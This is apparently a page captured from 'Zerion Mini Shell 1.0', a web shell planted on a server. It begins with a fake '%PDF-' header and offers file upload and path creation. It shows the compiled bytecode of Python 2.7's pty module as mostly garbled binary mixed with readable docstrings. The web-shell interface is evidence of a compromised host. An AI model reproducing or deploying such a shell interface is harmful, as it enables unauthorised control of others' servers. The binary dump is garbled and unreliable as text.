%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/pty.pyo

ó
Mêáac@s¶dZddlmZddlZddlZdddgZdZdZd	ZdZd
„Z	d„Z
d„Zd
„Zd„Z
d„Zd„Zeed„Zeed„ZdS(sPseudo terminal utilities.iÿÿÿÿ(tselectNtopenptytforktspawniiicCsMytjƒSWnttfk
r'nXtƒ\}}t|ƒ}||fS(sdopenpty() -> (master_fd, slave_fd)
    Open a pty master/slave pair, using os.openpty() if possible.(tosRtAttributeErrortOSErrort_open_terminalt
slave_open(t	master_fdt
slave_nametslave_fd((s/usr/local/lib/python2.7/pty.pyRscCs]ytjƒ\}}Wnttfk
r/n'Xtj|ƒ}tj|ƒ||fStƒS(s›master_open() -> (master_fd, slave_name)
    Open a pty master and return the fd, and the filename of the slave end.
    Deprecated, use openpty() instead.(RRRRtttynametcloseR(R	RR
((s/usr/local/lib/python2.7/pty.pytmaster_open!s

cCsôyddl}Wntk
r#nOXy"|jtjddƒ\}}Wntk
rg}tj|‚nX||fSxodD]g}x^dD]V}d||}ytj|tjƒ}Wntjk
rÌq†nX|d||fSWqyWtjd	‚dS(
slOpen pty master and return (master_fd, tty_name).
    SGI and generic BSD version, for when openpty() fails.iÿÿÿÿNi¶itpqrstuvwxyzPQRSTt0123456789abcdefs/dev/ptys/dev/ttysout of pty devices(tsgitImportErrort_getptyRtO_RDWRtIOErrorterrortopen(Rttty_nameR	tmsgtxtytpty_nametfd((s/usr/local/lib/python2.7/pty.pyR1s$
"


cCs€tj|tjƒ}yddlm}m}Wntk
rC|SXy$|||dƒ|||dƒWntk
r{nX|S(s©slave_open(tty_name) -> slave_fd
    Open the pty slave and acquire the controlling terminal, returning
    opened filedescriptor.
    Deprecated, use openpty() instead.iÿÿÿÿ(tioctltI_PUSHtptemtldterm(RRRtfcntlRRRR(RtresultRR((s/usr/local/lib/python2.7/pty.pyRHs

cCs:ytjƒ\}}Wnttfk
r/n<X|tkraytjƒWqatk
r]qaXn||fStƒ\}}tjƒ}|tkr#tjƒtj|ƒtj	|t
ƒtj	|tƒtj	|tƒ|tkrõtj|ƒntj
tjtƒtjƒ}tj|ƒn
tj|ƒ||fS(sdfork() -> (pid, master_fd)
    Fork and make the child a session leader with a controlling terminal.(RtforkptyRRtCHILDtsetsidRRR
tdup2tSTDIN_FILENOt
STDOUT_FILENOt
STDERR_FILENORRR(tpidRR	Rttmp_fd((s/usr/local/lib/python2.7/pty.pyRZs0




cCs3x,|dkr.tj||ƒ}||}qWdS(s#Write all the data to a descriptor.tN(Rtwrite(Rtdatatn((s/usr/local/lib/python2.7/pty.pyt_writen‚scCstj|dƒS(sDefault read function.i(Rtread(R((s/usr/local/lib/python2.7/pty.pyt_readˆscCs·|tg}x¤tr²t|ggƒ\}}}||krq||ƒ}|s^|j|ƒqqtjt|ƒnt|kr|tƒ}|sŸ|jtƒq¯t||ƒqqWdS(sParent copy loop.
    Copies
            pty master -> standard output   (master_read)
            standard input -> pty master    (stdin_read)N(R(tTrueRtremoveRR.R)R1(R	tmaster_readt
stdin_readtfdstrfdstwfdstxfdsR/((s/usr/local/lib/python2.7/pty.pyt_copyŒs	cCs÷t|ƒtdƒkr$|f}ntƒ\}}|tkrVtj|d|Œny&tjtƒ}tjtƒd}Wntj	k
r˜d}nXyt
|||ƒWn6ttfk
rå|rætj
ttj|ƒqænXtj|ƒdS(sCreate a spawned process.R-iiN(ttypeRR%Rtexeclptttyt	tcgetattrR(tsetrawRR<RRt	tcsetattrt	TCSAFLUSHR
(targvR6R7R+R	tmodetrestore((s/usr/local/lib/python2.7/pty.pyR¡s"


(t__doc__RRR?t__all__R(R)R*R%RRRRRR1R3R<R(((s/usr/local/lib/python2.7/pty.pyt<module>s"					(		

Zerion Mini Shell 1.0